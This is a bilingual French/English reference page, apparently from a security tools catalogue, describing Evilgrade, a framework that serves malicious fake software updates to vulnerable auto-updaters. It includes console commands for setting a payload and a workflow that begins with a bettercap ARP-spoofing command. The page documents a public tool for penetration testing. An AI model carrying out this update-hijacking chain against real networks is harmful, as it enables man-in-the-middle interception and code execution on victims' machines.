← retour aux outils back to tools

# Evilgrade

Framework d'exploitation qui abuse des implémentations de mise à jour logicielle non sécurisées en injectant de fausses mises à jour malveillantes. Exploitation framework that abuses insecure software update implementations by injecting fake malicious updates.

↗ https://github.com/infobyte/evilgrade

## Overview

Evilgrade (isr-evilgrade) is a modular framework that exploits applications with insecure auto-update mechanisms — updaters that fetch over plain HTTP, don’t verify signatures, or trust attacker-controllable metadata. Positioned as a man-in-the-middle, Evilgrade intercepts a vulnerable app’s update check and serves a malicious “update” (an attacker binary) instead, which the target then executes trusting it’s legitimate. It ships with modules for a range of historically-vulnerable updaters (Java, Winamp, Notepad++, etc.) and a framework for writing new ones.

## Common Usage

Launch the Evilgrade console

    evilgrade

List available modules

    evilgrade> show modules

Select a module for a specific vulnerable updater

    evilgrade> configure <module_name>

Set the malicious payload to serve as the “update”

    evilgrade> set agent /path/to/payload.exe

    # Configure listener and start the fake update server
    evilgrade> set listenport 80
    evilgrade> start

## Typical Workflow

1. Position as MITM (ARP spoofing, rogue AP, DNS spoofing)

    bettercap -iface eth0 -eval "set arp.spoof.targets <target>; arp.spoof on"

    # 2. Redirect the vulnerable updater's traffic to the Evilgrade listener
    #    (via DNS spoofing of the update host, or transparent proxy rules)

    # 3. Start Evilgrade with the matching module and payload
    evilgrade> configure winamp
    evilgrade> set agent payload.exe
    evilgrade> start

    # 4. Wait for the target app to check for updates and execute the payload

## Notes

- Requires MITM positioning first — Evilgrade itself doesn’t intercept traffic, it only serves the fake update once traffic is redirected to it.
- Most modern updaters now use HTTPS + code signing, so applicable targets are largely legacy/unpatched software — still relevant on older embedded devices and unmaintained internal tools.
- Combine with `ettercap`/`bettercap`/DNS spoofing for the redirection step.

Help / Man page

    evilgrade [console]

    Console commands:
      show modules            List all available update-hijack modules
      configure <module>       Load and configure a module
      show options              Show current module options
      set <option> <value>       Set a module/agent option
      set agent <file>            Path to the malicious payload to serve
      set listenport <port>        Port for the fake update server
      start                          Start the module's listener
      stop                            Stop the current listener
      info <module>                    Show module details/target versions

## Vue d’ensemble

Evilgrade (isr-evilgrade) est un framework modulaire qui exploite les applications dotées de mécanismes de mise à jour automatique non sécurisés : des updaters qui récupèrent les mises à jour en HTTP simple, ne vérifient pas les signatures, ou font confiance à des métadonnées contrôlables par l’attaquant. Positionné en homme du milieu, Evilgrade intercepte la vérification de mise à jour d’une application vulnérable et sert une fausse « mise à jour » (un binaire attaquant) à la place, que la cible exécute ensuite en la croyant légitime. Il est fourni avec des modules pour un ensemble d’updaters historiquement vulnérables (Java, Winamp, Notepad++, etc.) et un framework pour en écrire de nouveaux.

## Utilisation courante

    # Lancer la console Evilgrade
    evilgrade

    # Lister les modules disponibles
    evilgrade> show modules

    # Sélectionner un module pour un updater vulnérable spécifique
    evilgrade> configure <module_name>

    # Définir le payload malveillant à servir comme "mise à jour"
    evilgrade> set agent /path/to/payload.exe

    # Configurer l'écouteur et démarrer le faux serveur de mise à jour
    evilgrade> set listenport 80
    evilgrade> start

## Flux de travail typique

1. Se positionner en MITM (ARP spoofing, rogue AP, DNS spoofing)

    bettercap -iface eth0 -eval "set arp.spoof.targets <target>; arp.spoof on"

    # 2. Rediriger le trafic de l'updater vulnérable vers l'écouteur Evilgrade
    #    (via DNS spoofing de l'hôte de mise à jour, ou règles de proxy transparent)

    # 3. Démarrer Evilgrade avec le module et le payload correspondants
    evilgrade> configure winamp
    evilgrade> set agent payload.exe
    evilgrade> start

    # 4. Attendre que l'application cible vérifie les mises à jour et exécute le payload

## Remarques

- Nécessite un positionnement MITM au préalable : Evilgrade lui-même n’intercepte pas le trafic, il sert seulement la fausse mise à jour une fois le trafic redirigé vers lui.
- La plupart des updaters modernes utilisent désormais HTTPS et la signature de code, donc les cibles applicables se limitent en grande partie aux logiciels legacy/non patchés : encore pertinent sur les anciens appareils embarqués et les outils internes non maintenus.
- Combiner avec `ettercap`/`bettercap`/DNS spoofing pour l’étape de redirection.

Aide / Page de manuel

    evilgrade [console]

    Console commands:
      show modules            List all available update-hijack modules
      configure <module>       Load and configure a module
      show options              Show current module options
      set <option> <value>       Set a module/agent option
      set agent <file>            Path to the malicious payload to serve
      set listenport <port>        Port for the fake update server
      start                          Start the module's listener
      stop                            Stop the current listener
      info <module>                    Show module details/target versions